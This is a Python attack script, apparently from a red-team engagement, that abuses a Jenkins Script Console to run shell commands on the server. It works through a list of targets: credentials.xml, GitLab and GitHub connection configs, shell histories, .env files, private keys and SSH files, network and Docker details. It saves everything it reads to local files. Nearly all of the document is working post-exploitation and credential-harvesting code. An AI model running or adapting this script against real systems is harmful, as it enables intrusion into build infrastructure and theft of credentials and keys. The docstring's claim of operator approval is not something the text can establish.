#!/usr/bin/env python3
"""
L4 filesystem enumeration via Jenkins Script Console.
Reads: node configs, workspaces, config files, .bash_history, docker, etc.
Operator-approved L4.
"""
import sys, os, re
sys.path.insert(0, "/root/ir-assessment/redteam/camelsoft")
from l3_script_console import run_groovy

CMDS = {
    "node_configs": "ls -la /var/lib/jenkins/nodes/ && echo '---' && for d in /var/lib/jenkins/nodes/*/; do echo \"== $d ==\"; cat \"$d/config.xml\" 2>/dev/null; echo; done",
    "gitlab_connection": "cat /var/lib/jenkins/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig.xml",
    "main_config": "cat /var/lib/jenkins/config.xml",
    "credentials_xml": "cat /var/lib/jenkins/credentials.xml",
    "jenkins_location": "cat /var/lib/jenkins/jenkins.model.JenkinsLocationConfiguration.xml",
    "bash_history": "cat /var/lib/jenkins/.bash_history 2>/dev/null; cat /var/lib/jenkins/.python_history 2>/dev/null",
    "duckdb_history": "cat /var/lib/jenkins/.duckdb_history 2>/dev/null",
    "docker_access": "docker ps -a 2>/dev/null | head -40; echo '---IMAGES---'; docker images 2>/dev/null | head -30",
    "network": "ip addr show 2>/dev/null | grep -E 'inet |link/' ; echo '---ROUTES---'; ip route 2>/dev/null; echo '---DNS---'; cat /etc/resolv.conf 2>/dev/null; echo '---HOSTS---'; cat /etc/hosts 2>/dev/null",
    "docker_compose": "find /var/lib/jenkins -maxdepth 3 -name 'docker-compose*' -o -name '.env' -o -name '*.env' 2>/dev/null | head -30",
    "env_files": "find /var/lib/jenkins -maxdepth 4 -name '.env*' -type f 2>/dev/null | head -30",
    "config_files": "find /var/lib/jenkins -maxdepth 3 -name 'config.xml' -path '*/jobs/*' 2>/dev/null | head -30",
    "jobs_dir": "ls -la /var/lib/jenkins/jobs/",
    "workspaces": "ls -la /var/lib/jenkins/workspace/ 2>/dev/null",
    "secret_files": "find /var/lib/jenkins -maxdepth 2 -name '*.key' -o -name '*.pem' -o -name '*.pfx' -o -name 'id_rsa*' -o -name '*.env' 2>/dev/null | head -20",
    "sonar_config": "cat /var/lib/jenkins/hudson.plugins.sonar.SonarGlobalConfiguration.xml",
    "mailer": "cat /var/lib/jenkins/hudson.tasks.Mailer.xml",
    "github_config": "cat /var/lib/jenkins/github-plugin-configuration.xml",
    "jdk_tools": "cat /var/lib/jenkins/hudson.tasks.JDK.xml && echo '---' && cat /var/lib/jenkins/hudson.tools.JDKInstaller.xml",
    "nodejs": "cat /var/lib/jenkins/jenkins.plugins.nodejs.tools.NodeJSInstallation.xml",
    "ssh_known_hosts": "cat /var/lib/jenkins/.ssh/known_hosts 2>/dev/null; ls -la /var/lib/jenkins/.ssh/ 2>/dev/null",
}

os.makedirs("rce_output", exist_ok=True)
results = {}
for label, cmd in CMDS.items():
    # Build Groovy that executes the shell command
    groovy = 'def proc = ["bash","-c",%s].execute()\nproc.waitFor()\nprintln(proc.text)\nif(proc.err.text) { println("STDERR:" + proc.err.text) }' % repr(cmd)
    out = run_groovy(groovy)
    results[label] = out
    fname = "rce_output/" + label + ".txt"
    with open(fname, "w") as f:
        f.write(out)
    preview = out[:120].replace("\n", " | ")
    print("[+] %s -> %s (%d bytes): %s" % (label, fname, len(out), preview))

print("\n[*] All output saved to rce_output/")
